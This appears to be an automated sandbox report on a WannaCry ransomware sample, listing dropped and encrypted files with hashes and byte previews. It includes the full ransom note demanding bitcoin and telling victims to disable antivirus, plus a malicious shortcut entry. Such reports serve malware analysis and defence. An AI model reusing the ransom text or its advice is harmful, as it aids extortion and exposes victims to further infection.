                                                                                                                        SHA1:3D4EE35AE69E851AE9DCFAECE20D86FDDE8A64FC
                                                                                                                        SHA-256:D0873AEEF089972007FDA46B1483AEFC4CC14ABA4A985EB1CF9677B3D1F2D69F
                                                                                                                        SHA-512:F7A8E25C2D7A0952F8845043D3319A82E0C45A7B2F21652890E4E6A3DFCB704EAE26D0213F2CFA64B815FCA8F9324B4827441E950BD38A305EB191961C321453
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....>.a.$....c.7t.k...F'.E. .^....0ZO8..?.R....q..b.R.a.#..{p.. .b......e.]7......(|i.......k."Y..WQ.....UP......j.3e./KS..w...!.."U.:.9.$<_..N...%.."o..5W...KDS2......$.F....-.gC..x.x|..b9....5.t.........E.SS1.....iC}...w./T......zu.:....?e..$................r..I.*.4K$K...J.......&...X...T.Q.S...\k.B..._&F.......@.....Z......bue..NfDV...".\.YI.K*.[.)/..6l.n...H..B...M~}.c...?..w.._d.B......y....5.c....!j...N.....q...>w.t...U.....M...P....A'....N.D...kzR..}.|Gv..Sk...[8.>s..'..B.v..D.C..`..GsT.\.&..q*..u.LQ9..(..<p..a.>...F"..4...o.B.?"lN..z....!.;.l.Z{.....4..j..=....9R]....w..L......&.....j2.....e..+......@m..X.;.S..5P^..@.5...n.o..c......H.b.*.t.....n......=!.IEO.........$T".(..f4....s.B...l..X.E.....".j.l..c.!6b....i.%....?.(/...nv%g.~...i........}...u......c..w/w..H.;..CQi.....cv).B.....q.^&.X<.3.E...u.xW.'..3..s.....e..._.....j.I.+Q..|}+..A..g\.9R..=.....X8./..~vh5K.]n.V..r...v8...F`.@G`..J.....H.....@...2...<)'....bg.4..=..V

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.805891859536156
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:vckeS9nWuiTg0zbB4MV/BNNQEf6eu85pxaML:JeynWNTg0ZdPNxu85B
                                                                                                                        MD5:981FB25E54B03E4B8A91822227DCF117
                                                                                                                        SHA1:B9C4EB24F824B74733F53B93EB8FF6C2D6DD65E2
                                                                                                                        SHA-256:528D586948EEF0CCFE8B3BBF1C722A714BA84EC7DF95BD1D6F8DA948E69E6782
                                                                                                                        SHA-512:53D6F80ADD0D94914B4498FF1CAA1767BA3684A47B7E6280F1955E3E7C114BF6C6666EE12C0514EA583269BB3DC18E83A0D33C2E6585F113DA99C363D7A9E929
                                                                                                                        Malicious:false
                                                                                                                        Preview:.E.[.A..H....o.J#.Vv.:...@.O............. ..U......S.....h.+..*.5..n.......%.:.....B.P.+.}......?..9W....T"d.*.983.........iZ.."#.v&...#Mx.,}3.....I........\...,.....4.}...<*{zT......'...hc.&1.z.!w..G..|. ."..=.....|..).(..5.)..F.c...#<...0o..:=.Q1........B......=.5..a.N6....dY.dN..E..u'Aq..4..~-B(H...|...}m.m*z..#k.......`.Gx^K...<J..m.wo.EK...RMhG.....%.+......qq.xD..~EV...aV>..r.....U..>,..9..........LD...y./.S.......{.J.h..6....^V...u....=.....,.gWPX....}..l..P..].j.}.3E.5^...2........u].V5......9..q.+:.{t.i8.......)....8..U....*........."5.'T...YP.m.i.&...3..p.R.....A.L.\M..F...S..m..9Q.2. Is..K...jO ..0....../..a.......O..>P.W........B.K&..&.Tc.T.}7.D..Q.t......E&.../vB..&.....1...{.2kl.S..Q.....o......Pucj5.82......L...yc.<T|.*..v...b..s...LS!.V..9......R.....k.%..e..A....e........k....@....\&q..;:.|.m.#=.m..^..&c6.p4...eq.....2........w...$.c+z..q.G..60........M-.v.q;...To....bK...p.+4..P<d.$[&.{.Q....!...&n.G.q.z..s..h...*

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844313630428025
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk+E6xwHtQe6Nd5Uj8zOpKj65bFLjFCaGtq3+HVtU3taBEwez2YgTnaTuKjqoVpC:bk+EanNd55zOpw655LjFCzHVtU3MmlCn
                                                                                                                        MD5:FCF36D794F1EE5C1A2C23383AF1A8B3E
                                                                                                                        SHA1:6EEDD870F3D59BB305177CA3075CB2A00D113057
                                                                                                                        SHA-256:9D2F318CAE9CAD8AE7C01C3FA461319B0F5360E3CE313D5B28E399E0550304D2
                                                                                                                        SHA-512:DCA11D07A774E4CDEB071B4E46613C0A7B7EBA2ED96C17A40FB3FA466A8688CF44F2ED268D2E41D1DEB5B819EADDAB79495B980C7F9A9B665EEC49BF39103942
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........$iY.|..P;...T.|.B.J.......f...c4...N. .@.j.....Bj.....)....?.sg..8......Z!?..F.-c.....ei..Z..*...H}:..C..td..2.......q/.-d.AE<..........]..<~..%".h...?J:m...`y..../x.w..+..?x.Io@....O..Jl...@.w..}..u..........p.P~..?u....J/.I.`Aoi.1.)&..R.BW."............} XT.g...n...H.@...:B..0..i....C..l..Nc..tM...I.e...3...C7..:.*L!.)...x...s..B|.!.......f..x.x...'X...E....{yA.0..1\..E..^....7...g...@.....xo#G.R8.....<7...fN..B..saul1....].2K.......O....}}..).rT.*.Z#"S.Q.w..p.......Lw..s.2...l.M..F.]...;z..G.,.Z*8......D...5 ..,M.o.o..c. .q|..&.......]..=....{~6._..h.....Iq.~l........n.T.%l.?.C..qG.V...E.X4.P.EE...~...T.yY.4)w...9.dW..f.. Y.>....z.D..E.......?....}.....p.^T....gz.?u?.......iAjb.,....)U...K..u..5...Vq.O<....@..M.L.1...:Q..B................!..]..D(.m..^.......6.au...hmhA..MC)uf../#..R.Ee.P.#....LT.>.S....Z.......t...e*@@.......[...~..C.Km..0..5.JRl. .hi.2I.l_.;Q...?...'!.Q."..N.... ....Cj=...n ..=......B>j...HyO....%k^...:`VL..K

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844313630428025
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk+E6xwHtQe6Nd5Uj8zOpKj65bFLjFCaGtq3+HVtU3taBEwez2YgTnaTuKjqoVpC:bk+EanNd55zOpw655LjFCzHVtU3MmlCn
                                                                                                                        MD5:FCF36D794F1EE5C1A2C23383AF1A8B3E
                                                                                                                        SHA1:6EEDD870F3D59BB305177CA3075CB2A00D113057
                                                                                                                        SHA-256:9D2F318CAE9CAD8AE7C01C3FA461319B0F5360E3CE313D5B28E399E0550304D2
                                                                                                                        SHA-512:DCA11D07A774E4CDEB071B4E46613C0A7B7EBA2ED96C17A40FB3FA466A8688CF44F2ED268D2E41D1DEB5B819EADDAB79495B980C7F9A9B665EEC49BF39103942
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........$iY.|..P;...T.|.B.J.......f...c4...N. .@.j.....Bj.....)....?.sg..8......Z!?..F.-c.....ei..Z..*...H}:..C..td..2.......q/.-d.AE<..........]..<~..%".h...?J:m...`y..../x.w..+..?x.Io@....O..Jl...@.w..}..u..........p.P~..?u....J/.I.`Aoi.1.)&..R.BW."............} XT.g...n...H.@...:B..0..i....C..l..Nc..tM...I.e...3...C7..:.*L!.)...x...s..B|.!.......f..x.x...'X...E....{yA.0..1\..E..^....7...g...@.....xo#G.R8.....<7...fN..B..saul1....].2K.......O....}}..).rT.*.Z#"S.Q.w..p.......Lw..s.2...l.M..F.]...;z..G.,.Z*8......D...5 ..,M.o.o..c. .q|..&.......]..=....{~6._..h.....Iq.~l........n.T.%l.?.C..qG.V...E.X4.P.EE...~...T.yY.4)w...9.dW..f.. Y.>....z.D..E.......?....}.....p.^T....gz.?u?.......iAjb.,....)U...K..u..5...Vq.O<....@..M.L.1...:Q..B................!..]..D(.m..^.......6.au...hmhA..MC)uf../#..R.Ee.P.#....LT.>.S....Z.......t...e*@@.......[...~..C.Km..0..5.JRl. .hi.2I.l_.;Q...?...'!.Q."..N.... ....Cj=...n ..=......B>j...HyO....%k^...:`VL..K

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.800724983941546
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:p5ZMdS6TMMsj5JIBhZAjAxSTVQcQ8wfHiDSa:p5Z6S6KfGQAA6cfwfC9
                                                                                                                        MD5:C91ECA440D1875DBD19D989AFB271427
                                                                                                                        SHA1:79151683C3EC1B333DDB6DC0C4BAD2956E777E94
                                                                                                                        SHA-256:ADEFD2495FCCDC38C803C3572997F82BD65D889FE70F6581155ABECCD01DA44A
                                                                                                                        SHA-512:A2F80D522B3023E4A047D873CA3910152B3806131386E7D9A05E8E384AEB4941ABA7A7D9BECE6A5380D6077B29B06C5FC01DF6F85921BBF9DDE14CD84D1A0B66
                                                                                                                        Malicious:false
                                                                                                                        Preview:b.s..%.....E.NKB..e..;Ce.......F....L'.\.;.c.....V].hz..E.5._...O.LD.l.[H#..9......~.Y..j../..^,.c)9......?k...mm2...Jk&....H.:c`v.A..w#Ci...gm..........cC.g#.....]....k....u..g..T.....:.].t_?_..Xi..c..B..S.d8.z..NN...w...]]"?}x..~.@s..CU5b.Z!{ ..!../...6x.A...`..7.%..W.$.%.....@....33.........[.?L........D.N.y...p...ThE..\._e.Ev...4...:5x.&z."\.........Lr.,h..i..!B.&..9.y.........WX<1.g.T.H........o9(..h.@.?.6.?..h ....xx...b...<G..ql.5Od....-..cJ`_h..~c}q.......-.d.p.[....hz%.X..|j..>..F.;{'x..<.%.A......@.'o-.$e7T...w..p..u.U..(O..9."......~L..9#z..Z .F.nB$.tQ.U.5K..V../..!Yb..GD.....9.y8l.@.....:.a.W..N.n..x...qJ.e..[D9.....u;.P....+.....z.!7..d^DC48...IgU<...d.hO6.....[..]..8^.F..\?".I..l H+..B......{..Z..#K.3w..M<K..^..s_....z._..V>N#..,J..eE..m.R....A....Nd.Hc..l..%<.y....k.1.z.h.O=.o...K.WHrW.u.vm~......... N....L<..k.>I. .l...._<a.Sq..=.+...5..r....x...as..Qa2A.!..8..~b?.....V.d0...o....F..%D..CO...}Jd..Et.`.`f..l/..

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.874031439512287
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkraxh8F7YSSPDxoWJxN2PdFKeV5WEZY04dbh46uuJcFHOnYsIqcxNwwtupm+hgr:bkuxhCZSDxoWJP2PdF9V5zQ3uumHOYs2
                                                                                                                        MD5:E65C81704C0B54CF3C6D87CB96F71040
                                                                                                                        SHA1:59CCA16AB46CB535342EE8B8E7797127B1B9019E
                                                                                                                        SHA-256:80F77701415554D7BFF4BAF679E6B2F91D230AB892D8D6262FB28D31E27A968F
                                                                                                                        SHA-512:58939FE146267E8BA9BF372C7B197FC59DBB870DDF70AA7466621F2962FCE04F09D585F7D161D514D6470B17212B0D8F72B2B1DD6DFE36FAB50EE09DB805D357
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........})....*.k..t...]c.g=..tc..Iu....6,.....b.;...(..l...c.......0.8.....lE..4.i .K.u.[....}.`...%...3......?.s ...+$3.L...f.6...XW.{..0v.3.f.d%.c..=}....g2.A9l.%..<....(9......h.X).....*.JM..S.....c..../2y..Y.;..q.^%.]d........L....g...y*.p...............V...D...3....YsdN=r([..r..O.@. ..8..di.....[P.Q.P.[,1...6..XU.$p._"Mlf.I-.!.vO.j.#q.t.~ZZw...[...i..iU%w.....;.a8FL,..."G.d.,}d&.fm........T.e.#.4.$..E.X w....[.f....K..pC.Q.DUa.D.N.G.xs.XQs..)..?+Np......d.;..eP......wO.^..A..s...1X..<.xj..S..940).l&(...l.....B.p..-.%_.b....*.%..'(.p.`.e..2.k>Q.Y.6.9X.........5..I...jg...*.{..X.E..M.X..<...&."...........GW.7.i.&..D._o..Hg...f.=.5P..y...Vtr.S.b...rS..._..[.P.#.n@.SJ..C......*.@.v".W..o........>rX...*.0.|.qk...n..<.*..h.)...R*'..Uf...0.<.(.....1;.U..5....K.H#..,.i..?....H....2{{5g^... ;........``.5..=...]....Q...q.c..t........F.E.[@.M@K...z.......9.70.l.Ch........ -...XT4.."Qk$.J.....VOd.<."/..../.J~.................#.r.....

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.874031439512287
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkraxh8F7YSSPDxoWJxN2PdFKeV5WEZY04dbh46uuJcFHOnYsIqcxNwwtupm+hgr:bkuxhCZSDxoWJP2PdF9V5zQ3uumHOYs2
                                                                                                                        MD5:E65C81704C0B54CF3C6D87CB96F71040
                                                                                                                        SHA1:59CCA16AB46CB535342EE8B8E7797127B1B9019E
                                                                                                                        SHA-256:80F77701415554D7BFF4BAF679E6B2F91D230AB892D8D6262FB28D31E27A968F
                                                                                                                        SHA-512:58939FE146267E8BA9BF372C7B197FC59DBB870DDF70AA7466621F2962FCE04F09D585F7D161D514D6470B17212B0D8F72B2B1DD6DFE36FAB50EE09DB805D357
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........})....*.k..t...]c.g=..tc..Iu....6,.....b.;...(..l...c.......0.8.....lE..4.i .K.u.[....}.`...%...3......?.s ...+$3.L...f.6...XW.{..0v.3.f.d%.c..=}....g2.A9l.%..<....(9......h.X).....*.JM..S.....c..../2y..Y.;..q.^%.]d........L....g...y*.p...............V...D...3....YsdN=r([..r..O.@. ..8..di.....[P.Q.P.[,1...6..XU.$p._"Mlf.I-.!.vO.j.#q.t.~ZZw...[...i..iU%w.....;.a8FL,..."G.d.,}d&.fm........T.e.#.4.$..E.X w....[.f....K..pC.Q.DUa.D.N.G.xs.XQs..)..?+Np......d.;..eP......wO.^..A..s...1X..<.xj..S..940).l&(...l.....B.p..-.%_.b....*.%..'(.p.`.e..2.k>Q.Y.6.9X.........5..I...jg...*.{..X.E..M.X..<...&."...........GW.7.i.&..D._o..Hg...f.=.5P..y...Vtr.S.b...rS..._..[.P.#.n@.SJ..C......*.@.v".W..o........>rX...*.0.|.qk...n..<.*..h.)...R*'..Uf...0.<.(.....1;.U..5....K.H#..,.i..?....H....2{{5g^... ;........``.5..=...]....Q...q.c..t........F.E.[@.M@K...z.......9.70.l.Ch........ -...XT4.."Qk$.J.....VOd.<."/..../.J~.................#.r.....

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\GAOBCVIQIJ.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.828217696279368
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:P50a8THLY1OGfxf5xtH40HUsMs1r0mfNYn2Aq:P5B8o1Oqt5MPsMs1rfNY2Aq
                                                                                                                        MD5:05E926E6031B1154A1A753E919192789
                                                                                                                        SHA1:EB4200221A48B6CEC72D1D90BF3785FF070708CE
                                                                                                                        SHA-256:8EA58F3B13A3F5C6CB22A8A4CB09CF6344868B4AFFDF2A3B55991BB53AD6223A
                                                                                                                        SHA-512:02D92EE601690BF3386BF29BF67986751284AD25576762E1ED6A997EFD3F503278DACF751F54A0C88E9E6414EE28A2E0356CBE3F060D577BB351626595630DFC
                                                                                                                        Malicious:false
                                                                                                                        Preview:...V.a.{].L#.J)./g.jd.W.1..`.=\..3|........M*..v.k..H/..t..Z.:t.t...d..sF...6....,.X........v,U..L<..D]e...6..m..=,r..^.x.C.J.........R.B.Y|...B}.%...\.C....I/M.W..b>6.... r.....l...{,.R...>......"%..R.&.(.......w...5..*.v..H.....#`....,.A.i]......tEL..>...........~e.26...k%&S..D.r.y..}..U..L...\.}yM...9..9..BQ....J..X.].4...@h.4.n'.X...lo...z.o............M.S.<V......QS0..Q.:....A..5...f[...N...\%..m.J.3.y..2.~nX....\#...X.Xx.....aV).z$..FmY...`.ms.Y[2.....)..F.{U.......W...........m9..}i...k&..!....`../~....zT....?A}..p...../.........D}n...9.[...W.k.f.7.>.2.*..~.UM.....(..-.z.ar..M........"eH(.....B.P...vW...^t..tf].....=:f...7.;...=Qh.N....7~..q....._..]@R.y_.s:..${;.......lI..TP..."..pp+....$..b...A...s.X..&5.L..*..~Z.[.%.2t. ...>V4.....B.N!..*..Hs..;.d....c......_)......W.2=*;.[....Pq..k..O.01.`...).H...#/u.}......%..lC.......d.k.R?.........|E.%....h#..m$.K....V.F..k.jd......g&6..?.I...7J.].+HM";.rV.s..`........$d.[..z.....8.|P3

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\GAOBCVIQIJ.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846808739032601
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk+8A7JMX1vqq3r3dPkdDpSYNEem7unvRskYG9P+7SseY4zJge4ZX/1EYujaY9:bklMWqq58dDMYE7unpsO2D0t1uS/a2
                                                                                                                        MD5:67747E2CAB0C5E4E33BBACC6BF0A92DA
                                                                                                                        SHA1:AA0194E4649671FE4C3C81A74ECD00CF18260E79
                                                                                                                        SHA-256:780C71BBED3FF1740CD9F55F9D93D173783311C4B2B506670CAC9E4A21FC2777
                                                                                                                        SHA-512:FB32175913703FBA1A34C778D52F30AB8BF4FB4BDD5D8F3D81B9B88E1807FEBE8F3F65587D8D5CD7605C5F752C2940B59B214FEA3417A6F07B05E7E1F3D03AE9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......Yy.....R...X.1..m.A...#.......X:.p&...f...D.3'.VU...JR....p^p..E...)y.+`....s.9....a5...:...UV.<P.Z..2..c3.E..0P..WS5.VK..d...`s.8YE.c?..\?..w`.p0..'N.;=V...)....H............#.U.R.h....C...j.k>...BF.Ek..BP:4....='#c..f4r......;..E.=.o..3Z.....zL..............#......~...7 M...Te.f...(...&a.b.w0^y.......O.d]...W...P.Q...x.5............53...0.5..'o....u$.<...{...~....+.3-;....?B......4@f.,.i.Zc.....f..Q...l...u..n!...v=..FX....Ne..Kc..X\.cSN=w....(...sH.9.......ARgK.1.#..2...d...x..9..p. t.^.8.Z.....(.._W.k..r.aC.@X...;...+}N.:...dvJk.!.G.l|..d%.3..q..y.....(?,N.]..?E..,.m.d....1Q,.b.....x.ah..T....6.c.....~G.-. 1..G.K.../...8. D.....Jp_.B.%l).%.Bn..9z...G....!..|..;.q.eI,L-!N......C%...u?.....\..1i.*{).u..E....@.?.q.qH...zC~irP~nh..QsP?.h.gOm.3...i.D..$...EZY....8...........x.;.{.j .o...0..../BS.u>.:m.$.......g.R..X.Y...G...&._i=..`...+>...je.D4..og.y|.N..e.....V.1.......a..l.O.l.....S...B.M....|m3...i.g..T....!.X..O..u...{8'Z.*....a..

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\GAOBCVIQIJ.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846808739032601
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk+8A7JMX1vqq3r3dPkdDpSYNEem7unvRskYG9P+7SseY4zJge4ZX/1EYujaY9:bklMWqq58dDMYE7unpsO2D0t1uS/a2
                                                                                                                        MD5:67747E2CAB0C5E4E33BBACC6BF0A92DA
                                                                                                                        SHA1:AA0194E4649671FE4C3C81A74ECD00CF18260E79
                                                                                                                        SHA-256:780C71BBED3FF1740CD9F55F9D93D173783311C4B2B506670CAC9E4A21FC2777
                                                                                                                        SHA-512:FB32175913703FBA1A34C778D52F30AB8BF4FB4BDD5D8F3D81B9B88E1807FEBE8F3F65587D8D5CD7605C5F752C2940B59B214FEA3417A6F07B05E7E1F3D03AE9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......Yy.....R...X.1..m.A...#.......X:.p&...f...D.3'.VU...JR....p^p..E...)y.+`....s.9....a5...:...UV.<P.Z..2..c3.E..0P..WS5.VK..d...`s.8YE.c?..\?..w`.p0..'N.;=V...)....H............#.U.R.h....C...j.k>...BF.Ek..BP:4....='#c..f4r......;..E.=.o..3Z.....zL..............#......~...7 M...Te.f...(...&a.b.w0^y.......O.d]...W...P.Q...x.5............53...0.5..'o....u$.<...{...~....+.3-;....?B......4@f.,.i.Zc.....f..Q...l...u..n!...v=..FX....Ne..Kc..X\.cSN=w....(...sH.9.......ARgK.1.#..2...d...x..9..p. t.^.8.Z.....(.._W.k..r.aC.@X...;...+}N.:...dvJk.!.G.l|..d%.3..q..y.....(?,N.]..?E..,.m.d....1Q,.b.....x.ah..T....6.c.....~G.-. 1..G.K.../...8. D.....Jp_.B.%l).%.Bn..9z...G....!..|..;.q.eI,L-!N......C%...u?.....\..1i.*{).u..E....@.?.q.qH...zC~irP~nh..QsP?.h.gOm.3...i.D..$...EZY....8...........x.;.{.j .o...0..../BS.u>.:m.$.......g.R..X.Y...G...&._i=..`...+>...je.D4..og.y|.N..e.....V.1.......a..l.O.l.....S...B.M....|m3...i.g..T....!.X..O..u...{8'Z.*....a..

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\IPKGELNTQY.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.788981409126822
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:LTxYMFvtD7dJ2FaCMOrMxymARHHrlZq+0ZyIPDXWw9I5BtwQfR2Q4UyJSWmYBbFv:LN7hR/iIxyp/q+gZfutF8QoUWjBh7o32
                                                                                                                        MD5:ED3E3C3BFB2F347A8159BBE7A4C59261
                                                                                                                        SHA1:74876E2DDBC5B026A2B4C9BA5BC1D2B523024A9D
                                                                                                                        SHA-256:CE089B55FEFB11ECBB159E7C2F84C74EBAD77C9105175F036B19D8AFE5CBE7AF
                                                                                                                        SHA-512:05CE4D1629AA6F11987FD10A788CBF4D00160E722CD6A2D9A6F5615848F68E97E7B203ADABBD0C816EDDA9D0B08FB3F43AB32EB0748471690E84259A89B35553
                                                                                                                        Malicious:false
                                                                                                                        Preview:......d.ga.....6#8.....V...'.5...f..e..T'...t...c_..V....cr.yb.(.DE.............,..}.)...F.Q..q..../es.l.F..C..ra.^qS.:.X=pu.(..*X.[(..J.>D....h.J..s.>.o......:8.}.. ..P.....pNd..w..$?#..~...E.. h....#....8h.......#.@..%.:......y./.....~uk....I..\.......ADB%.'-.:.F.l....n=..h.._v.2.#..)#...,g.\.w.z.d.(.".qb~^m...i...x..w.'.}.f....#..y.M.B"..%[.f.;;...!._p..l..H..X.c..j.O7...*s..........k.N..ns6...SG...O..=..q..Q.[....jJ.^?.....d....s.{......Z......j...CDY......./..+..r3...f..1j.i.V....W..7.X>.~.Up.. H.Wg.0.Le..5.<x.D....N...0i....o6.0......M..p.Q.N...dj...n......T...m.X....}....\...ks...:x5..~.S0e3.....?0..............x..g.L......n....S.1.........L.:.....a..s..u.t.....J.7.:.LU..L......H... \...}3../n.\..m3..2%.....,=s.9..*.qk.A..P^....c......>....H..U?..FJacp3N.iI.N..#.xO...PM\.....%.z%.~...!.9G.y7.1...........q..........M.(.{...^.+l.B~e.IcC?....<.......3..z.C......./.>.<D.$..[g.B7...\ .Tg......._...w...t..s.q.#'.PH..=+].....t.....}.o.

                                                                                                                        C:\Users\user\Documents\ZTGJILHXQB\IPKGELNTQY.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846609945664251
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkTZxRJ9FCGycQ6PLqZt4NqiuMH+svX/fSme/pEw/0Ad+:bklJbC56+ZKwZM5fk1E
                                                                                                                        MD5:A6B72C6FD590FE5C5CC341309F95505E
                                                                                                                        SHA1:BEADB65EC07FF1367C720872ED072AC79856162F
                                                                                                                        SHA-256:FBD1424B4107F46E343D3FE6D356A5BF0598CFA169E39D91E188E8505913A50D
                                                                                                                        SHA-512:8E2C1F5C83E3804F2D33A3C5336A10D3D21D4BC8662D81034D4D0E237C351E57B29D1FEC7FBC8FB639B16B507468C595752E998B441A9E2F68638226A1EC8FE6
                                                                                                                        Malicious:false
